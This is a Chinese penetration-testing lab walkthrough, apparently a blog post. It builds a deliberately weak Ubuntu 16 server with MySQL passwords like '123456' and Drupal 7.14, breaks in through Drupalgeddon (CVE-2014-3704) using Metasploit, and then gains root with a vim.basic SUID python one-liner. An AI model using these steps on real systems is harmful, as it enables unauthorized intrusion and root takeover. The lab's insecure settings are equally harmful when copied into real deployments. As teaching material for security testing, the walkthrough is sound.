【网安-Web渗透测试-Linux提权】SUID提权

目录

一、环境准备

1、所需运行条件

(1)目标主机

名称
操作系统 Ubuntu Server 16
中间件 PHP7.0 + Apache2.4.52
数据库 MySQL 5.7

(2)攻击机

名称
操作系统 Kali Linux 2023.4

2、安装依赖

Step1:更新系统

bash 复制代码
# 更新
sudo apt update

Step2:安装MySQL

bash 复制代码
$ sudo su root

$ groupadd mysql
$ useradd -r -g mysql -s /bin/false mysql

$ apt install libncurses5 -y

$ wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz
$ tar -zxvf mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz -C /usr/local/
$ mv /usr/local/mysql-5.7.33-linux-glibc2.12-x86_64 /usr/local/mysql

$ echo "[client]
port=3306
socket=/tmp/mysql.sock

[mysqld]
port=3306
socket=/tmp/mysql.sock
key_buffer_size=16M
max_allowed_packet=8M

log_error                     = /usr/local/mysql/logs/error.log
log_error_verbosity           = 2
general_log                   = 0
general_log_file              = /usr/local/mysql/logs/mysql_query.log
slow_query_log                = 1
slow_query_log_file           = /usr/local/mysql/logs/mysql_slow.log
log_queries_not_using_indexes = 1
long_query_time               = 2
slow_launch_time              = 2
log-slow-admin-statements     = 1

[mysqldump]
quick" > /etc/my.cnf

$ mkdir -p /usr/local/mysql/logs
$ chown -R mysql.mysql /usr/local/mysql/logs

# 初始化MySQL,仅需执行一次,下次启动时无需此操作
$ /usr/local/mysql/bin/mysqld --initialize --user=mysql
# 仅初始化时操作,下次启动时无需操作
$ /usr/local/mysql/bin/mysql_ssl_rsa_setup
# 后台启动MySQL,重新打开时需执行此命令
$ /usr/local/mysql/bin/mysqld_safe --user=mysql &

$ echo 'export PATH=$PATH:/usr/local/mysql/bin' >> /etc/profile

$ source /etc/profile

$ ps -ef | grep mysql
# 出现如下提示,说明MySQL已成功启动
root       2038   1766  0 10:55 pts/0    00:00:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql
mysql      2282   2038  0 10:55 pts/0    00:00:00 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/logs/error.log --pid-file=basic2.pid --socket=/tmp/mysql.sock --port=3306
root       2315   1766  0 10:56 pts/0    00:00:00 grep mysql

$ cat /usr/local/mysql/logs/error.log | grep "temporary"
# 在输出的日志中,0mpK:4uSN22<表示的是登录MySQL的密码
2026-04-23T14:55:41.750159Z 1 [Note] A temporary password is generated for root@localhost: un<9iRf5.sVy

$ mysql -u root -p

# 修改root的登录密码
mysql > alter user 'root'@'localhost' identified by '123456';
mysql > use mysql;
mysql > GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123456';
mysql > flush privileges;

Step3:安装PHP依赖(含Apache)

bash 复制代码
$ sudo apt install -y php7.0 php7.0-cli php7.0-common php7.0-mysql php7.0-dom php7.0-gd php7.0-xml php7.0-mbstring php7.0-simplexml php7.0-zip php7.0-curl

开启开机自启

bash 复制代码
$ sudo systemctl enable apache2

Step4:安装GCC

bash 复制代码
$ sudo apt install gcc

3、部署drupal-7.14

Step1:部署项目

bash 复制代码
# 下载项目的TAR包
$ wget https://ftp.drupal.org/files/projects/drupal-7.14.tar.gz
# 将下载好的drupal的TAR包解压至apache的web部署目录
$ sudo tar -zxvf drupal-7.14.tar.gz -C /var/www/html
$ sudo mv /var/www/html/drupal-7.14 /var/www/html/drupal
# 修改权限,使apache拥有drupal的权限
$ sudo chown -R www-data:www-data /var/www/html/drupal

# 编辑 PHP 配置文件
$ sudo nano /etc/php/7.0/apache2/php.ini
mbstring.http_input = pass
mbstring.http_output = pass

Step2:新建数据库

bash 复制代码
$ mysql -u root -p
-- 创建数据库(使用utf8mb4字符集,支持更全的Unicode)
mysql > CREATE DATABASE drupal CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- 创建用户并设置密码(将'123456!'替换为强密码)
mysql > CREATE USER 'drupal'@'localhost' IDENTIFIED BY '123456!';

-- 授予用户对drupal数据库的所有权限
mysql > GRANT ALL PRIVILEGES ON drupal.* TO 'drupal'@'localhost';

-- 刷新权限使更改生效
mysql > FLUSH PRIVILEGES;

-- 退出MySQL
mysql > EXIT;

Step3:配置数据库,填写信息

访问安装地址:

bash 复制代码
http://192.168.179.131/drupal/install.php


内容填写如下:

数据库名(Database name):drupal

数据集用户名(Database username):root

数据库密码(Database password):123456

数据库地址(Database host):127.0.0.1

数据库端口(Database port):3306

Step4:填写邮箱、昵称等信息,此处随便填后,服务即可运行

说明: 如果出现页面错误,无需担心,本文主要的最终目的是Linux提权,只要Drupal项目能正常运行即可。

二、CVE-2014-3704(Drupalgeddon漏洞)

1、漏洞信息

详情信息:

名称
漏洞类型 SQL注入(无需身份验证)
影响版本 Drupal 7.0 至 7.31(即低于 7.32 的所有 7.x 版本)
漏洞根源 Drupal 7.x 数据库抽象 API 中的 expandArguments函数未能正确构造预编译语句,导致攻击者可通过精心构造的 HTTP 参数键名(key)实施注入。
CVSS 评分 10.0(满分,严重级别)

在MSF中的搜索名称:

bash 复制代码
msf6 > use exploit/multi/http/drupal_drupageddon

2、展开攻击

bash 复制代码
$ msfconsole
msf6 > search drupageddon
Matching Modules
================
   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/multi/http/drupal_drupageddon  2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/drupal_drupageddon

msf6 > use 0
msf6 > set rhost 192.168.179.131
msf6 > set rport 80
# 如果是放入/var/www/html的根目录而非/var/www/html/drupal/则无需设此变量
msf6 > set targeturi /drupal/
msf6 > show options
msf6 > run
meterpreter > shell

运行效果图:

三、利用SUID提权

Step1:查找可利用SUID/SGID可执行文件

bash 复制代码
$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Step2:选择/usr/bin/vim.basic进行提权

bash 复制代码
# 关键的提权命令
$ /usr/bin/vim.basic -c ':python3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'

# 输入shell进入命令行;使用python命令进入交互式模式
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

说明:Ubuntu server 18及之后的版本,想要通过SUID方式提权将变得更加困难,或无法操作!

相关推荐
深海鱼在掘金1 小时前
Next.js从入门到实战保姆级教程(第八章):图像、字体与媒体优化
前端·typescript·next.js
英俊潇洒美少年1 小时前
Vue2 高德地图地址选择器完整实战(组件抽离+高并发优化+@amap/amap-jsapi-loader最佳实践)
前端·javascript·vue.js
誰能久伴不乏2 小时前
Qt 混合编程核心原理:C++ 与 QML 通信机制详解
linux·c++·qt·架构·状态模式
运维小斌2 小时前
麒麟v10arm使用dnsmasq部署本地DNS服务器
linux·运维·服务器·网络
深海鱼在掘金2 小时前
Next.js从入门到实战保姆级教程(第七章):样式方案与 UI 优化
前端·typescript·next.js
晴天丨2 小时前
🛡️ Vue 3 错误处理完全指南:全局异常捕获、前端监控、用户反馈
前端·vue.js
孙凯亮2 小时前
Electron 接口请求全解析:从疑问到落地(真实开发对话整理)
前端·electron
闲坐含香咀翠2 小时前
Electron 桌面端多语言优化实战:从静态全量加载到懒加载与用户自定义
前端·electron·客户端
Wect2 小时前
HTML5 原生拖拽 API 实战案例与拓展避坑
前端·面试·浏览器